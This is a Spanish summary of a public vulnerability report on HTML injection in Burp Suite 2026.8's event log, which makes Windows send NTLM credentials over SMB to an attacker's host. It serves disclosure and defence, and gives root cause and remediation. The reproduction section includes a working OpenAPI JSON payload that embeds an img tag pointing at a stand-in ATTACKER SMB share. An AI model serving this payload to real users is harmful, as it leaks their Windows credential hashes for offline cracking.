Reports
MEDIA[OTRAS INYECCIONES]#3972558

Inyección de HTML en el registro de eventos de Burp Suite que provoca autenticación SMB en Windows

Un texto de error del parser de OpenAPI llegaba sin escapar al registro de eventos de Burp Suite. Al renderizarlo, Swing interpretaba un `<img>` con una ruta UNC y Windows autenticaba por SMB contra un servidor del atacante.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Burp Suite 2026.8 (build 53343) insertaba texto controlado por un atacante dentro del HTML del registro de eventos (Event log) sin codificarlo. Ese texto provenía del mensaje de excepción del parser de OpenAPI.

La cadena se dispara cuando la víctima, en una respuesta HTTP manipulada, usa la opción Response → Save OpenAPI requests to site map y después selecciona la fila de error que aparece en el registro de eventos. En ese momento el componente Swing HTMLEditorKit interpreta una etiqueta <img> inyectada. En Windows, una URL file: respaldada por una ruta UNC hace que el proceso de Burp se autentique contra un punto SMB controlado por el atacante.

No es automático al recibir la respuesta: requiere las dos acciones de interfaz descritas. El investigador confirmó la cadena completa en un entorno Windows 11 controlado, incluyendo el intercambio NTLM Tipo 1/2/3, el establecimiento de sesión SMB y la lectura del fichero seleccionado.

La versión afectada es Burp Suite Professional/Community 2026.8 Early Adopter, build 53343 (instalador oficial de Windows ARM64), probada con el runtime Microsoft OpenJDK 25.0.4+7-LTS.

Pasos de reproducción

Se sirve la siguiente respuesta con estado HTTP 200 y Content-Type: application/json, sustituyendo ATTACKER y SHARE por un punto SMB y un recurso compartido bajo control del atacante:

{
  "openapi": "3.0.0",
  "info": {"title": "t", "version": "1"},
  "servers": [{"url": "http://127.0.0.1:9"}],
  "paths": {
    "/x": {
      "post": {
        "requestBody": {
          "content": {
            "application/json": {
              "schema": {
                "$ref": "#/components/schemas/http://127.0.0.1:1/><img&#32;src=file:////ATTACKER/SHARE/image.gif>"
              }
            }
          }
        },
        "responses": {"200": {"description": "ok"}}
      }
    }
  }
}

La entidad &#32; es imprescindible: un espacio literal se trunca en el punto del error del parser, mientras que Swing decodifica &#32; como el espacio en blanco entre el nombre de la etiqueta img y su atributo src.

Pasos concretos:

  1. Abrir un proyecto temporal nuevo de Burp en Windows y poner en marcha un listener SMB controlado y alcanzable desde esa máquina.
  2. Enviar una petición en Repeater a un endpoint que devuelva la respuesta anterior.
  3. Clic derecho en el editor Response de Repeater y elegir Save OpenAPI requests to site map.
  4. Abrir Dashboard → Event log.
  5. Seleccionar la nueva fila de Scanner/Error del fallo de parseo de la definición de la API.
  6. Observar cómo el proceso de Burp se autentica contra ATTACKER, conecta con SHARE y pide image.gif.

Usar un proyecto nuevo evita que la deduplicación del registro de eventos suprima un evento equivalente reciente.

En la ejecución controlada, la secuencia observada fue:

Windows -> listener: NTLM Type 1
listener -> Windows: NTLM Type 2 challenge
Windows -> listener: NTLM Type 3, domain=HAKAI, user=burppoc
listener -> Windows: SMB2 Session Setup STATUS_SUCCESS
listener -> Windows: SMB2 Tree Connect STATUS_SUCCESS
Windows -> listener: Create/Read POCSHARE\swing-image.gif

El listener devolvió el fichero de prueba de siete bytes GIF89a\n. Un arranque limpio de Windows de control, con los mismos componentes pero sin el HTML manipulado, no generó ningún mensaje AUTHENTICATE_MESSAGE, TreeConnect, Create ni Read. Con Hashcat (modo 5600) se verificó que la captura positiva era un desafío-respuesta NetNTLMv2 válido para la cuenta sintética controlada.

Causa raíz

El flujo de datos en la build 53343 era:

respuesta de Repeater controlada por el atacante
  -> validación y parseo completo de OpenAPI
  -> ApiDefinitionException.getMessage() en bruto
  -> detalle del registro de eventos en bruto
  -> StringBuilder del HTML del registro de eventos
  -> JEditorPane.setText()
  -> Swing ImageView
  -> resolución de file/UNC en Windows
  -> autenticación SMB

El filtro ligero de OpenAPI acepta la respuesta como versión 3.0.0. El parseo completo rechaza el $ref manipulado y crea este detalle de excepción:

Blocking URL resolution for 'http://127.0.0.1:1/><img&#32;src=file:////ATTACKER/SHARE/image.gif>'.

El valor en bruto de ApiDefinitionException.getMessage() se pasa al constructor del registro de eventos, se añade directamente a un StringBuilder de HTML y se renderiza como text/html mediante setText(). El HTMLEditorKit personalizado reemplaza el manejo de párrafos, pero delega los elementos de imagen en el ImageView estándar de Swing, que resuelve el recurso respaldado por la ruta UNC.

Impacto

Un atacante que controle una respuesta de API puede convertir un flujo plausible de importación de API en Burp en una autenticación SMB saliente desde la cuenta de Windows que ejecuta Burp. Eso expone un desafío-respuesta NetNTLMv2 al listener del atacante, que puede someterlo a adivinación de contraseña offline. La prueba controlada también demostró acceso dirigido por el atacante al recurso compartido y a la ruta del fichero seleccionados.

El investigador valora el fallo como Media porque la explotación exige dos acciones explícitas de interfaz, depende de la política de Windows/red para liberar credenciales y puede verse afectada por la deduplicación del registro de eventos. No se reclama recuperación de contraseña, hash NT reutilizable, relay, ejecución de código ni movimiento lateral.

El reporte guarda relación con el informe público #1054382 (CVE-2021-29416), que documentó la misma clase amplia de carga de recursos/HTML en Swing con impacto sobre credenciales de Windows. Este caso es un bypass/regresión de la mitigación con un origen y un visor distintos: una respuesta OpenAPI válida para el filtro acaba como detalle de ApiDefinitionException en el JEditorPane del registro de eventos.

Remediación

  1. Codificar en HTML todo valor dinámico del registro de eventos en el límite final de renderizado, incluidos &, <, >, comillas y apóstrofos.
  2. Deshabilitar o reemplazar ImageView y cualquier otra vista de recurso externo en el HTMLEditorKit del registro de eventos; los detalles de eventos nunca deberían iniciar acceso a red o a ficheros.
  3. Añadir pruebas de regresión que cubran el espacio en blanco por entidad y las URL de recursos http:, file: y respaldadas por UNC.

Qué aprender de este caso

  • Cuando un componente de escritorio renderiza texto como HTML (en Java/Swing, JEditorPane/JTextPane con HTMLEditorKit), revisa cualquier mensaje de excepción o dato de terceros que acabe en ese HTML: una etiqueta <img src=file://...> con ruta UNC basta para filtrar NetNTLMv2 por SMB en Windows, sin JavaScript.
  • Desconfía de los mensajes de error que incrustan la entrada que los provocó (aquí, la URL rechazada dentro de ApiDefinitionException.getMessage()): si ese texto se concatena a HTML sin escapar, el propio mensaje de error se vuelve el vector.
  • Un filtro de entrada en dos fases (uno ligero que acepta y otro completo que rechaza) puede abrir hueco: lo que el segundo descarta sigue generando un mensaje con la entrada original. Codifica siempre en la capa de presentación, no confíes en que el rechazo del parser neutralice el contenido.
  • En visores HTML embebidos, la carga de imágenes y recursos externos debería estar desactivada por defecto; una vista que resuelve ImageView sobre rutas arbitrarias convierte cualquier inyección de HTML en una petición de red o de fichero.